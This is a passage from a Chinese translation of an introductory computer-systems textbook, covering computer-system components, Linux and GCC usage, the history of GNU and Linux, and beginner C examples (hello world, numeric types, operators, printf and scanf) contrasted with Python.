深入浅出计算机系统-全-
深入浅出计算机系统(全)
原文:
zh.annas-archive.org/md5/def9dc47ee22dcb4b5b3181e53342eae译者:飞龙
第一章:介绍

深入探索计算机系统的奇妙世界!理解计算机系统是什么以及它是如何运行程序的,可以帮助你设计高效的代码,并最大限度地利用底层系统的性能。在本书中,我们将带你深入计算机系统的世界。你将了解如何在计算机上执行你用高级编程语言(我们使用 C 语言)编写的程序。你将学习程序指令如何转化为二进制代码,以及电路如何执行其二进制编码。你将了解操作系统如何管理系统上运行的程序。你还将学习如何编写能够利用多核计算机的程序。在整个过程中,你将学习如何评估与程序代码相关的系统成本,并学习如何设计高效运行的程序。
什么是计算机系统?
计算机系统结合了计算机硬件和特殊的系统软件,这两者共同使计算机可供用户和程序使用。具体来说,计算机系统包含以下组件(参见图 0-1):
输入/输出(IO)端口 使计算机能够从其环境中获取信息,并以某种有意义的方式将其显示给用户。
中央处理单元(CPU) 执行指令并计算数据和内存地址。
随机存取存储器(RAM) 存储正在运行程序的数据和指令。当计算机系统断电时,RAM 中的数据和指令通常会丢失。
二级存储设备(如硬盘)即使在没有提供电力的情况下,也能存储程序和数据。
操作系统(OS) 软件层位于计算机硬件和用户在计算机上运行的软件之间。操作系统实现了编程抽象和接口,使用户能够轻松地运行和与系统上的程序交互。它还管理底层硬件资源并控制程序执行的方式和时机。操作系统实现了抽象、策略和机制,确保多个程序可以在系统上高效、受保护且无缝地同时运行。
前四项定义了计算机系统的计算机硬件组件。最后一项(操作系统)代表了计算机系统的主要软件部分。操作系统之上可能会有其他软件层,提供其他接口给系统的用户(例如,库)。然而,操作系统是我们在本书中重点关注的核心系统软件。

图 0-1:计算机系统的分层组件
我们专注于通用计算机系统,这意味着它们的功能并未针对任何特定应用进行定制,并且它们是可重新编程的,即支持在不修改计算机硬件或系统软件的情况下运行不同的程序。
为此,许多可能以某种形式进行“计算”的设备并不属于计算机系统的范畴。例如,计算器通常有处理器、有限的内存和输入输出能力。然而,计算器通常没有操作系统(像 TI-89 这样的高级图形计算器是这一规则的显著例外),没有二级存储,也不是通用的。
另一个值得提到的例子是微控制器,这是一种集成电路,具备与计算机类似的许多功能。微控制器通常嵌入到其他设备中(如玩具、医疗设备、汽车和家电),用于控制特定的自动功能。尽管微控制器是通用的、可重新编程的,包含处理器、内存、二级存储,并且具有输入输出功能,但它没有操作系统。微控制器设计用来启动并运行单一的特定程序,直到断电。因此,微控制器不符合我们对计算机系统的定义。
现代计算机系统是什么样子的?
现在我们已经明确了什么是计算机系统(以及什么不是),让我们来讨论计算机系统通常是什么样子的。图 0-2 展示了两种类型的计算机硬件系统(不包括外设):一台台式计算机(左)和一台笔记本电脑(右)。每个设备上放着一枚美国 25 美分硬币,给读者一个关于每个单位大小的直观感受。

图 0-2:常见计算机系统:台式计算机(左)和笔记本电脑(右)
请注意,两者包含相同的硬件组件,尽管某些组件可能具有更小的外形或更紧凑。台式计算机的 DVD 光驱移到了侧面,展示了其下方的硬盘——这两个单元堆叠在一起。专用电源帮助台式计算机提供电力。
相比之下,笔记本电脑更加扁平和紧凑(注意,图中的 25 美分硬币看起来稍微大一些)。笔记本配有电池,且其组件往往更小。无论是台式机还是笔记本,CPU 都会被一个重量级的 CPU 风扇所遮挡,风扇有助于保持 CPU 在合理的工作温度。如果组件过热,它们可能会被永久损坏。两个设备都有双列内存模块(DIMM)用于 RAM。请注意,笔记本内存模块显著小于台式机模块。
就重量和功耗而言,台式计算机通常消耗 100–400 瓦的电力,重量通常在 5 到 20 磅之间。笔记本电脑通常消耗 50–100 瓦的电力,并根据需要使用外部充电器来补充电池电量。
计算机硬件设计的趋势是向更小、更紧凑的设备发展。图 0-3 展示了一个 Raspberry Pi 单板计算机。单板计算机(SBC)是一种将整个计算机功能集成在单一电路板上的设备。

图 0-3:Raspberry Pi 单板计算机
Raspberry Pi SBC 配备了一个系统级芯片(SoC)处理器,集成了 RAM 和 CPU,涵盖了图 0-2 中所示的大部分笔记本和台式机硬件。与笔记本和台式机系统不同,Raspberry Pi 大约只有信用卡大小,重 1.5 盎司(大约一片面包的重量),功耗约为 5 瓦。Raspberry Pi 上的 SoC 技术在智能手机中也很常见。事实上,智能手机是另一种计算机系统的例子!
最后,所有前面提到的计算机系统(包括 Raspberry Pi 和智能手机)都具有多核处理器。换句话说,它们的 CPU 能够同时执行多个程序。我们将这种同时执行称为并行执行。基础的多核编程内容在本书的第十四章中讲解。
所有这些不同类型的计算机硬件系统都可以运行一个或多个通用操作系统,如 macOS、Windows 或 Unix。通用操作系统管理底层计算机硬件,并为用户提供接口,以便在计算机上运行任何程序。不同类型的计算机硬件运行不同的通用操作系统,共同构成了一个计算机系统。
本书内容概览
在本书结束时,您将了解以下内容:
计算机如何运行程序。 您将能够详细描述,如何通过计算机硬件的低级电路执行用高级编程语言表达的程序。具体来说,您将知道:
-
程序数据如何被编码成二进制,硬件如何在其上执行算术运算
-
编译器如何将 C 程序转换为汇编语言和二进制机器码(汇编是二进制机器码的可读形式)
-
CPU 如何在二进制程序数据上执行二进制指令,从基本的逻辑门到存储值、执行算术运算和控制程序执行的复杂电路
-
操作系统如何实现用户在系统上运行程序的接口,并且如何在管理系统资源的同时控制程序的执行。
如何评估与程序性能相关的系统成本。 程序运行缓慢有很多原因。可能是算法选择不当,或者仅仅是程序在使用系统资源时的决策不合理。你将理解内存层次结构(参见《内存层次结构》章节,见第 545 页)及其对程序性能的影响,以及操作系统在程序性能中的成本。你还将学习一些关于代码优化的宝贵技巧。最终,你将能够设计高效使用系统资源的程序,并能够评估与程序执行相关的系统成本。
如何利用并行编程发挥并行计算机的强大功能。 在今天的多核世界中,利用并行计算变得尤为重要。你将学习如何利用 CPU 的多个核心,使程序运行得更快。你将了解多核硬件的基础知识、操作系统的线程抽象,以及与多线程并行程序执行相关的问题。你将获得并行程序设计的经验,并使用 POSIX 线程库(Pthreads)编写多线程并行程序。你还将接触到其他类型的并行系统和并行编程模型。
在学习的过程中,你还将了解计算机系统的许多其他重要细节,包括它们是如何设计的、如何工作的。你将学习系统设计中的重要主题以及评估系统和程序性能的技术。你还将掌握一些重要技能,包括 C 语言编程、汇编语言编程和调试技巧。
开始阅读本书
关于语言、书籍符号和开始阅读本书的几点建议:
Linux、C 和 GNU 编译器
本书中的示例使用 C 编程语言。C 语言是一种高级编程语言,类似于 Java 和 Python,但与许多其他高级语言相比,它与底层计算机系统的抽象程度较低。因此,C 语言是希望更好控制程序如何在计算机系统上执行的程序员的首选语言。
本书中的代码和示例使用 GNU C 编译器(GCC)进行编译,并在 Linux 操作系统上运行。尽管 Linux 不是最常见的主流操作系统,但它是超级计算系统中占主导地位的操作系统,且可以说是计算机科学领域最常用的操作系统之一。
科学家们。
Linux 也是免费的开源软件,这使得它在这些环境中的使用非常普遍。对于计算机科学专业的学生来说,掌握 Linux 基本操作非常有帮助。同样,GCC 可以说是目前最常用的 C 语言编译器。因此,我们在示例中使用 Linux 和 GCC。然而,其他 Unix 系统和编译器也有类似的接口和功能。
本书鼓励你跟随书中的示例进行编写。Linux 命令通常以如下的代码块形式出现:
$
$ 代表命令提示符。如果你看到一个看起来像这样的框
$ uname -a
这是提示你在命令行上键入 uname -a。请确保不要键入 $ 符号!
命令的输出通常会直接显示在命令行列表中的命令后面。例如,尝试键入 uname -a。此命令的输出因系统不同而有所差异。这里显示的是一个 64 位系统的示例输出。
$ uname -a
Linux Fawkes 4.4.0-171-generic #200-Ubuntu SMP Tue Dec 3 11:04:55 UTC 2019
x86_64 x86_64 x86_64 GNU/Linux
uname 命令输出有关特定系统的信息。-a 标志会按以下顺序输出所有与系统相关的信息:
-
系统的内核名称(在此为 Linux)
-
机器的主机名(例如,Fawkes)
-
内核发布版本(例如,4.4.0-171-generic)
-
内核版本(例如,#200-Ubuntu SMP Tue Dec 3 11:04:55 UTC 2019)
-
机器硬件(例如,x86-64)
-
处理器类型(例如,x86-64)
-
硬件平台(例如,x86-64)
-
操作系统名称(例如,GNU/Linux)
你可以通过在命令前加上 man 来了解更多关于 uname 命令或任何其他 Linux 命令,如下所示:
$ man uname
该命令会显示与 uname 命令相关的手册页。要退出此界面,请按 q 键。
本书并未详细介绍 Linux,但有多个在线资源可以为读者提供良好的概览。一个推荐的资源是《The Linux Command Line》;^(1),阅读第一部分“学习 Shell”就足以为你做好准备。
其他类型的符号和注释
除了命令行和代码片段,我们还使用了几种其他类型的“注释”来呈现本书中的内容。
第一个是旁注。旁注用于提供额外的背景信息,通常是历史性的。以下是一个旁注的示例:
LINUX、GNU 和自由开源软件(FOSS)运动的起源
1969 年,AT&T 贝尔实验室为内部使用开发了 UNIX 操作系统。虽然最初是用汇编语言编写的,但它在 1973 年被重写为 C 语言。由于一起反垄断案件禁止 AT&T 贝尔实验室进入计算机行业,AT&T 贝尔实验室将 UNIX 操作系统自由授权给大学,从而推动了其广泛应用。然而,到了 1984 年,AT&T 从贝尔实验室中分离出来,并(摆脱了早期的限制)开始将 UNIX 作为商业产品销售,这引起了学术界若干人士的愤怒和失望。
作为直接回应,理查德·斯托曼(当时是麻省理工学院的学生)于 1984 年开发了 GNU(“GNU 不是 UNIX”)项目,目标是创建一个完全由自由软件组成的类似 UNIX 的系统。GNU 项目孕育了多个成功的自由软件产品,包括 GNU C 编译器(GCC)、GNU Emacs(一个流行的开发环境)以及 GNU 通用公共许可证(GPL,“版权反转”原则的起源)。
1992 年,Linus Torvalds,当时是赫尔辛基大学的学生,发布了一个类 UNIX 操作系统,他在 GPL 下编写了该系统。Linux 操作系统(发音为“Lin-nux”或“Lee-nux”,因为 Linus Torvalds 的名字发音为“Lee-nus”)是使用 GNU 工具开发的。今天,GNU 工具通常与 Linux 发行版一起打包。Linux 操作系统的吉祥物是 Tux,一只企鹅。据说 Torvalds 在参观动物园时被企鹅咬了一口,后来他对这些生物产生了喜爱,并把企鹅作为自己操作系统的吉祥物,他称之为患上了“企鹅症”。
本文中使用的第二种提示类型是注释。注释用于强调重要信息,如某些符号的使用或如何理解某些信息的建议。下面是一个示例注释:作为学生,完成课本阅读非常重要。请注意,我们说的是“做”阅读,而不仅仅是“读”阅读。阅读文本通常意味着被动地从页面上吸收文字。我们鼓励学生采取更积极的方式。如果你看到一个代码示例,试着输入它!即使你输入了错误的内容,或者遇到错误也没关系;那是最好的学习方式!在计算机中,错误并不是失败——它们只是经验。
注意如何完成本书的阅读
作为学生,完成课本阅读非常重要。请注意,我们说的是“做”阅读,而不仅仅是“读”阅读。阅读文本通常意味着被动地从页面上吸收文字。我们鼓励学生采取更积极的方式。如果你看到一个代码示例,试着输入它!即使你输入了错误的内容,或者遇到错误也没关系;那是最好的学习方式!在计算机中,错误并不是失败——它们只是经验。
学生应该特别注意的最后一种提示类型是警告。作者使用警告来强调一些常见的“陷阱”或是我们自己学生常遇到的困扰。虽然并非所有警告对所有学生都同样有价值,但我们建议你在可能的情况下复习警告,以避免常见的陷阱。下面是一个示例警告:
警告 本书包含双关语
作者(特别是第一作者)喜欢与计算机相关的双关语和音乐恶搞(而且不一定是好笑的)。对作者幽默感的负面反应可能包括(但不限于)翻白眼、无奈的叹气以及拍打额头。
如果你已经准备好开始,请继续阅读第一章,我们将一起深入探索 C 语言的奇妙世界。如果你已经了解一些 C 编程,可以从第四章的二进制表示开始,或继续学习更高级的 C 编程内容,在第二章中继续。
我们希望你在与我们一起的旅程中获得愉快的体验!
注释
- William Shotts, “学习 Shell,” LinuxCommand.org,
linuxcommand.org/lc3_learning_the_shell.php
第二章:通过 C, 通过 C, 通过美丽的 C
“美丽的海边”
—Carroll 和 Atteridge, 1914

本章为有一定其他语言编程经验的学生提供了 C 编程的概述。它特别为 Python 程序员编写,并通过一些 Python 示例进行对比。然而,对于任何具有基本编程经验的人来说,它作为 C 编程的入门书籍都是有用的。
C 是一种高级编程语言,像你可能熟悉的其他语言一样,如 Python、Java、Ruby 或 C++。它是一种命令式和过程式编程语言,这意味着 C 程序以一系列语句(步骤)的形式表达,供计算机执行,并且 C 程序结构是由一组函数(过程)组成的。每个 C 程序必须至少包含一个函数,即 main 函数,其中包含程序开始时执行的一组语句。
与你可能熟悉的其他编程语言相比,C 编程语言相对于计算机的机器语言抽象程度较低。这意味着 C 不支持面向对象编程(像 Python、Java 和 C++),也没有丰富的高级编程抽象(例如 Python 中的字符串、列表和字典)。因此,如果你想在 C 程序中使用字典数据结构,你需要自己实现它,而不是像 Python 那样直接导入语言内置的字典。
C 缺乏高级抽象可能使其看起来不像其他语言那样具吸引力。然而,正因为 C 与底层机器的抽象较少,它使程序员更容易看到并理解程序代码与计算机执行之间的关系。C 程序员对程序在硬件上的执行方式有更多控制权,而且他们能够编写比使用其他编程语言的高级抽象所写的等效代码更高效的代码。特别是,他们对程序如何管理内存有更多控制,这对性能有显著影响。因此,C 仍然是计算机系统编程的事实标准语言,在低级控制和效率至关重要的领域尤为重要。
本书使用 C 是因为它在程序控制方面的表现力,以及它相对直接地翻译为计算机执行的汇编语言和机器代码。本章介绍了 C 编程,首先概述了其特性。第二章则更详细地描述了 C 的特性。
1.1 开始学习 C 编程
让我们从一个包含调用数学库函数的“hello world”程序开始。我们将 Python 版本的程序(首先)与 C 版本的程序(其次)进行比较。C 版本可能保存在名为 hello.c 的文件中(.c 是 C 源代码文件的后缀约定),而 Python 版本则可能保存在名为 hello.py 的文件中。
'''
The Hello World Program in Python
'''
# Python math library
from math import *
# main function definition:
def main():
# statements on their own line
print("Hello World")
print("sqrt(4) is %f" % (sqrt(4)))
# call the main function:
main()
Python 版本
/*
The Hello World Program in C
*/
/* C math and I/O libraries */
#include <math.h>
#include <stdio.h>
/* main function definition: */
int main() {
// statements end in a semicolon (;)
printf("Hello World\n");
printf("sqrt(4) is %f\n", sqrt(4));
return 0; // main returns value 0
}
C 版本
注意 C 版本^(1) 和 Python 版本^(2) 都可以下载。
请注意,这个程序的两个版本结构和语言构造类似,尽管语法不同。具体来说:
注释:
在 Python 中,多行注释以 ''' 开始和结束,单行注释以 # 开始。
在 C 语言中,多行注释以 /* 开始和以 */ 结束,单行注释以 // 开始。
导入库代码:
在 Python 中,使用 import 导入库。
在 C 语言中,使用 #include 导入库。所有的 #include 语句都出现在程序的顶部,在函数体外。
代码块:
在 Python 中,缩进表示一个代码块。
在 C 语言中,代码块(例如,函数、循环和条件体)以 { 开始,以 } 结束。
主函数:
在 Python 中,def main(): 定义了主函数。
在 C 语言中,int main(){ } 定义了主函数。main 函数返回一个 int 类型的值,int 是 C 语言中用于指定带符号整数类型的名称(带符号整数是像 -3、0、1234 这样的值)。main 函数返回 int 值 0,表示程序无错误地运行完成。
语句:
在 Python 中,每个语句都单独占一行。
在 C 语言中,每个语句以分号 ; 结束。在 C 中,语句必须位于某个函数的主体内(在本示例中是 main 函数内)。
输出:
在 Python 中,print 函数打印格式化字符串。格式字符串中的占位符的值通过 % 符号和以逗号分隔的值列表传入(例如,sqrt(4) 的值将替换格式字符串中的 %f 占位符)。
在 C 语言中,printf 函数打印格式化字符串。格式字符串中的占位符的值作为额外的参数通过逗号分隔传入(例如,sqrt(4) 的值将替换格式字符串中的 %f 占位符)。
在 C 和 Python 版本的程序中有几个重要的区别:
缩进:
在 C 语言中,缩进没有特殊含义,但根据语句所在的嵌套级别进行缩进是良好的编程风格。
输出:
C 语言的 printf 函数不像 Python 的 print 函数那样自动在结尾打印换行符。因此,C 程序员需要在格式字符串中显式指定换行符(\n),以便输出时换行。
主 函数:
C 程序必须有一个名为main的函数,并且其返回类型必须是int。这意味着main函数返回一个有符号整数类型的值。Python 程序不需要将主函数命名为main,但通常按照惯例也会这样做。
C 的main函数有一个显式的return语句,用于返回一个int类型的值(按照惯例,如果main函数成功执行且没有错误,它应该返回0)。
Python 程序需要显式地调用其main函数来执行它,而 C 程序在执行时会自动调用其main函数。
1.1.1 编译和运行 C 程序
Python 是一种解释型编程语言,这意味着另一个程序——Python 解释器——来运行 Python 程序:Python 解释器就像是一个虚拟机,Python 程序在其上运行。要运行一个 Python 程序,程序源代码(hello.py)作为输入提供给 Python 解释器程序,后者运行该程序。例如($是 Linux 命令行提示符):
$ python hello.py
Python 解释器是一个可以直接在底层系统上运行的程序(这种形式被称为二进制可执行文件),并以 Python 程序作为输入来运行它(见图 1-1)。

图 1-1:Python 程序由 Python 解释器直接执行,Python 解释器是一个二进制可执行程序,在底层系统(操作系统和硬件)上运行。
要运行 C 程序,必须先将其翻译成计算机系统可以直接执行的形式。C 编译器是将 C 源代码翻译成计算机硬件可以直接执行的二进制可执行格式的程序。二进制可执行文件由一系列 0 和 1 组成,采用计算机能够运行的特定格式。
例如,要在 Unix 系统上运行 C 程序hello.c,必须首先通过 C 编译器(例如 GNU C 编译器 GCC ^(3))编译 C 代码,生成二进制可执行文件(默认命名为a.out)。然后,可以直接在系统上运行该二进制可执行版本的程序(见图 1-2):
$ gcc hello.c
$ ./a.out
(注意,一些 C 编译器可能需要显式地告诉它链接数学库:-lm):
$ gcc hello.c -lm

图 1-2:C 编译器(gcc)将 C 源代码构建为二进制可执行文件(a.out)。底层系统(操作系统和硬件)直接执行 a.out 文件以运行程序。
详细步骤
一般来说,以下步骤描述了在 Unix 系统上编辑、编译和运行 C 程序的必要步骤。
首先,使用文本编辑器(例如vim^(4)),编写并保存你的 C 源代码程序到一个文件中(例如hello.c):
$ vim hello.c
接下来,将源代码编译成可执行形式,然后运行它。使用gcc进行编译的最基本语法是:
$ gcc <input_source_file>
如果编译没有产生错误,编译器会创建一个名为a.out的二进制可执行文件。编译器还允许你使用-o标志来指定生成的二进制可执行文件的名称:
$ gcc -o <output_executable_file> <input_source_file>
例如,这个命令指示gcc将hello.c编译成名为hello的可执行文件:
$ gcc -o hello hello.c
我们可以使用./hello来调用可执行程序:
$ ./hello
对 C 源代码(hello.c文件)所做的任何更改都必须使用gcc重新编译,以生成hello的新版本。如果编译器在编译过程中检测到任何错误,则不会创建/重新创建./hello文件(但要注意,来自之前成功编译的旧版本文件可能仍然存在)。
在使用gcc进行编译时,通常你需要包括几个命令行选项。例如,这些选项启用更多的编译器警告,并生成一个包含额外调试信息的二进制可执行文件:
$ gcc -Wall -g -o hello hello.c
因为gcc命令行可能很长,所以经常使用make工具来简化 C 程序的编译过程,并清理gcc创建的文件。使用make并编写Makefile是你在积累 C 编程经验时将会掌握的重要技能。^(5)
我们将在第二章的末尾更详细地讨论使用 C 库代码进行编译和链接。
变量和 C 数值类型
像 Python 一样,C 语言使用变量作为命名的存储位置来存储数据。考虑程序变量的作用域和类型对于理解程序运行时程序的语义非常重要。一个变量的作用域定义了该变量在程序中的意义(即,在程序中何时何地可以使用该变量)和生命周期(即,它可能会在整个程序运行期间持续存在,或者只在函数激活期间存在)。一个变量的类型定义了它可以表示的值的范围,以及在对数据进行操作时如何解释这些值。
在 C 语言中,所有变量必须在使用之前声明。声明变量的语法如下:
type_name variable_name;
一个变量只能有一个类型。C 语言的基本类型包括char、int、float和double。按照约定,C 语言变量应该在其作用域的开始部分(即{ }块的顶部)声明,在该作用域中的任何 C 语句之前。
以下是一个示例 C 代码片段,展示了声明和使用几种不同类型变量的例子。我们将在示例之后更详细地讨论类型和运算符。
vars.c
{
/* 1\. Define variables in this block's scope at the top of the block. */
int x; // declares x to be an int type variable and allocates space for it
int i, j, k; // can define multiple variables of the same type like this
char letter; // a char stores a single-byte integer value
// it is often used to store a single ASCII character
// value (the ASCII numeric encoding of a character)
// a char in C is a different type than a string in C
float winpct; // winpct is declared to be a float type
double pi; // the double type is more precise than float
/* 2\. After defining all variables, you can use them in C statements. */
x = 7; // x stores 7 (initialize variables before using their value)
k = x + 2; // use x's value in an expression
letter = 'A'; // a single quote is used for single character value
letter = letter + 1; // letter stores 'B' (ASCII value one more than 'A')
pi = 3.1415926;
winpct = 11 / 2.0; // winpct gets 5.5, winpct is a float type
j = 11 / 2; // j gets 5: int division truncates after the decimal
x = k % 2; // % is C's mod operator, so x gets 9 mod 2 (1)
}
请注意,分号很多。回想一下,C 语句是由 ; 来分隔的,而不是换行符——C 希望每个语句后都有一个分号。你会忘记加分号,而 gcc 几乎从不告诉你漏掉了分号,即使那可能是你程序中唯一的语法错误。实际上,当你忘记分号时,编译器通常会在缺少分号的行之后指出语法错误:原因是 gcc 将它解释为上一行语句的一部分。随着你继续用 C 编程,你会学会将 gcc 错误与它们描述的具体 C 语法错误相关联。
1.1.2 C 类型
C 支持一小部分内建数据类型,并且提供了几种方法,程序员可以用来构造基本的类型集合(数组和结构体)。通过这些基本构建块,C 程序员可以构建复杂的数据结构。
C 定义了一组用于存储数值的基本类型。以下是不同 C 类型的数值字面量的一些示例:
8 // the int value 8
3.4 // the double value 3.4
'h' // the char value 'h' (its value is 104, the ASCII value of h)
C 的 char 类型存储一个数值。然而,它通常被程序员用来存储一个 ASCII 字符的值。字符字面量值在 C 中是通过单引号括起来的单个字符来指定的。
C 不支持字符串类型,但程序员可以通过 char 类型以及 C 对构造值数组的支持来创建字符串,稍后的章节中我们将讨论这一点。C 确实支持在程序中表达字符串字面量值的方法:字符串字面量是任何位于双引号之间的字符序列。C 程序员通常将字符串字面量作为格式字符串传递给 printf:
printf("this is a C string\n");
Python 支持字符串,但没有 char 类型。在 C 中,字符串和 char 是两种非常不同的类型,它们的处理方式也不同。这种差异通过对比一个包含单个字符的 C 字符串字面量和一个 C char 字面量来说明。例如:
'h' // this is a char literal value (its value is 104, the ASCII value of h)
"h" // this is a string literal value (its value is NOT 104, it is not a char)
我们在“字符串与字符串库”一节中更详细地讨论了 C 字符串和 char 变量,内容位于第 93 页。在这里,我们将主要关注 C 的数值类型。
C 数值类型
C 支持多种不同类型来存储数值。不同的类型在表示数值的格式上有所不同。例如,float 和 double 类型可以表示实数值,int 表示有符号整数值,而 unsigned int 表示无符号整数值。实数值是带有小数点的正数或负数,例如 -1.23 或 0.0056。带符号整数存储正数、负数或零的整数值,例如 -333、0 或 3456。无符号整数存储严格非负的整数值,例如 0 或 1234。
C 的数值类型在它们能够表示的值的范围和精度上也有所不同。一个值的范围或精度取决于与其类型相关联的字节数。字节数更多的类型可以表示更大的值范围(对于整数类型)或更高精度的值(对于实数类型),而字节数较少的类型则不能。
表 1-1 显示了多种常见 C 数值类型的存储字节数、存储的数值类型,以及如何声明变量(请注意,这些是典型大小——确切的字节数取决于硬件体系结构)。
表 1-1: C 数值类型
| 类型名称 | 常见大小 | 存储的值 | 如何声明 |
|---|---|---|---|
char |
1 字节 | 整数 | char x; |
short |
2 字节 | 有符号整数 | short x; |
int |
4 字节 | 有符号整数 | int x; |
long |
4 或 8 字节 | 有符号整数 | long x; |
long long |
8 字节 | 有符号整数 | long long x; |
float |
4 字节 | 有符号实数 | float x; |
double |
8 字节 | 有符号实数 | double x; |
C 还提供了整数数值类型(char、short、int、long 和 long long)的无符号版本。要声明一个无符号变量,请在类型名称前添加关键字unsigned。例如:
int x; // x is a signed int variable
unsigned int y; // y is an unsigned int variable
C 标准并未指定 char 类型是有符号还是无符号。因此,一些实现可能将 char 实现为有符号整数值,另一些实现则为无符号。为了明确使用 char 的无符号版本,良好的编程实践是显式声明 unsigned char。
每种 C 类型的字节数可能因体系结构的不同而有所变化。表 1-1 中的大小是每种类型的最小(且常见)大小。你可以使用 C 的 sizeof 运算符在特定的机器上打印出每种类型的准确大小,sizeof 运算符接受类型名称作为参数,并计算出存储该类型所使用的字节数。例如:
printf("number of bytes in an int: %lu\n", sizeof(int));
printf("number of bytes in a short: %lu\n", sizeof(short));
sizeof 运算符的结果为无符号长整型值,因此在调用 printf 时,使用占位符 %lu 来打印其值。在大多数体系结构中,以下语句的输出将是:
number of bytes in an int: 4
number of bytes in a short: 2
算术运算符
算术运算符结合数值类型的值。运算结果的类型取决于操作数的类型。例如,如果两个 int 值用算术运算符结合,结果类型也将是整数。
C 在运算符组合两种不同类型的操作数时会进行自动类型转换。例如,如果一个 int 操作数与一个 float 操作数结合,整数操作数会首先转换为其浮点数等价物,然后应用运算符,操作结果的类型为 float。
以下算术运算符可以用于大多数数值类型操作数:
-
加法(
+)和减法(-) -
乘法(
*)、除法(/)和取模(%):求余运算符(
%)只能接受整数类型的操作数(int、unsigned int、short等)。如果两个操作数都是
int类型,则除法运算符(/)执行整数除法(结果为int,并截断除法操作后的小数部分)。例如,8/3结果为2。如果一个或两个操作数是
float(或double),则/执行实数除法,结果为float(或double)。例如,8/3.0结果约为2.666667。 -
赋值(
=):variable = value of expression; // e.g., x = 3 + 4; -
带更新的赋值(
+=、-=、*=、/=和%=):variable op= expression; // e.g., x += 3; is shorthand for x = x + 3; -
增量(
++)和减量(--):variable++; // e.g., x++; assigns to x the value of x + 1
警告:前增量与后增量的区别
运算符++variable和variable++都有效,但它们的计算顺序略有不同:
-
++x:先递增x,然后使用它的值。 -
x++:先使用x的值,然后再递增它。
在许多情况下,使用哪种形式并不重要,因为增量或减量变量的值并没有在语句中被使用。例如,以下两条语句是等效的(尽管第一种是最常用的语法):
x++;
++x;
在某些情况下,上下文会影响结果(当增量或减量变量的值在语句中被使用时)。例如:
x = 6;
y = ++x + 2; // y 被赋值为 9:先递增 x,再计算 x + 2(9)
x = 6;
y = x++ + 2; // y 被赋值为 8:先计算 x + 2(8),然后递增 x
像前面的例子那样,使用带有增量运算符的算术表达式通常很难阅读,而且容易出错。因此,最好避免编写这样的代码;相反,应编写单独的语句,确保按照所需的顺序执行。例如,如果你想先递增x,然后将x + 1赋值给y,就将其写成两个单独的语句。
不要写成这样
y = ++x + 1;
将其写为两个单独的语句:
x++;
y = x + 1;
1.2 输入/输出(printf 和 scanf)
C 的 printf 函数将值打印到终端,而 scanf 函数则读取用户输入的值。printf 和 scanf 函数属于 C 的标准输入输出库,必须在使用这些函数的 .c 文件顶部显式包含 #include <stdio.h>。在本节中,我们介绍了在 C 程序中使用 printf 和 scanf 的基本知识。有关 C 的输入输出函数的详细讨论,请参见 第 113 页中的“C 语言中的 I/O(标准和文件)”。
1.2.1 printf
C 的printf函数与 Python 中的格式化打印非常相似,调用者指定一个格式字符串来打印。格式字符串通常包含格式化说明符,例如打印制表符(\t)或换行符(\n)的特殊字符,或输出值的占位符。占位符由%后跟一个类型说明符字母组成(例如,%d表示整数值的占位符)。对于格式字符串中的每个占位符,printf期望一个附加的参数。这里有一个 Python 和 C 的示例程序,展示了格式化输出:
# Python formatted print example
def main():
print("Name: %s, Info:" % "Vijay")
print("\tAge: %d \t Ht: %g" %(20,5.9))
print("\tYear: %d \t Dorm: %s" %(3, "Alice Paul"))
# call the main function:
main()
Python 版本
/* C printf example */
#include <stdio.h> // needed for printf
int main() {
printf("Name: %s, Info:\n", "Vijay");
printf("\tAge: %d \t Ht: %g\n",20,5.9);
printf("\tYear: %d \t Dorm: %s\n",3,"Alice Paul");
return 0;
}
C 版本
运行时,这两个版本的程序会产生格式完全相同的输出:
Name: Vijay, Info:
Age: 20 Ht: 5.9
Year: 3 Dorm: Alice Paul
C 的printf和 Python 的print函数之间的主要区别在于,Python 版本在输出字符串末尾会隐式打印一个换行符,而 C 版本则不会。因此,本例中的 C 格式字符串在末尾包含换行符(\n),以显式地打印换行符。C 的printf和 Python 的print函数在格式字符串中列出占位符参数值的语法也略有不同。
C 使用与 Python 相同的格式化占位符来指定不同类型的值。前面的示例演示了以下格式化占位符:
%g: placeholder for a float (or double) value
%d: placeholder for a decimal value (int, short, char)
%s: placeholder for a string value
C 还支持%c占位符,用于打印字符值。当程序员想要打印与特定数字编码关联的 ASCII 字符时,这个占位符非常有用。以下是一个 C 代码片段,它打印一个char类型的数值(%d)和字符编码(%c):
// Example printing a char value as its decimal representation (%d)
// and as the ASCII character that its value encodes (%c)
char ch;
ch = 'A';
printf("ch value is %d which is the ASCII value of %c\n", ch, ch);
ch = 99;
printf("ch value is %d which is the ASCII value of %c\n", ch, ch);
运行时,程序的输出如下所示:
ch value is 65 which is the ASCII value of A
ch value is 99 which is the ASCII value of c
1.2.2 scanf
C 的scanf函数表示读取用户输入的一个方法(通过键盘输入),并将它们存储在程序变量中。scanf函数对于用户输入数据的准确格式要求较为严格,这意味着它对格式错误的用户输入不是很容错。在《C 语言中的输入输出(标准与文件)》一节中(参见第 113 页),我们讨论了更为健壮的读取用户输入值的方法。现在,记住如果你的程序因为用户输入格式错误而进入无限循环,你可以随时按 CTRL-C 终止程序。
在 Python 和 C 中,读取输入的方式不同:Python 使用input函数将输入值作为字符串读取,然后程序将字符串值转换为int类型,而 C 使用scanf读取int类型的值,并将其存储在int程序变量的内存位置(例如,&num1)。这段代码展示了在 Python 和 C 中读取用户输入值的示例程序:
# Python input example
def main():
num1 = input("Enter a number:")
num1 = int(num1)
num2 = input("Enter another:")
num2 = int(num2)
print("%d + %d = %d" % (num1, num2, (num1+num2)))
# call the main function:
main()
Python 版本
/* C input (scanf) example */
#include <stdio.h>
int main() {
int num1, num2;
printf("Enter a number: ");
scanf("%d", &num1);
printf("Enter another: ");
scanf("%d", &num2);
printf("%d + %d = %d\n", num1, num2, (num1+num2));
return 0;
}
C 版本
运行时,两个程序都读取两个值(这里是 30 和 67):
Enter a number: 30
Enter another: 67
30 + 67 = 97
与 printf 类似,scanf 也接受一个格式字符串,用来指定要读取的值的数量和类型(例如,"%d" 指定一个 int 类型的值)。scanf 函数在读取数字值时会跳过前导和尾随的空格,因此其格式字符串只需要包含一系列格式占位符,通常这些占位符之间没有空格或其他格式字符。格式字符串中的占位符的参数指定了程序变量的位置,这些变量将存储读取到的值。将变量名前加上 & 操作符会得到该变量在程序内存中的位置——即该变量的内存地址。“C 的指针变量”在第 66 页中更详细地讨论了 & 操作符。现在,我们只在 scanf 函数的上下文中使用它。
这是另一个 scanf 示例,其中格式字符串包含两个值的占位符,第一个是 int,第二个是 float:
scanf_ex.c
int x;
float pi;
// read in an int value followed by a float value ("%d%g")
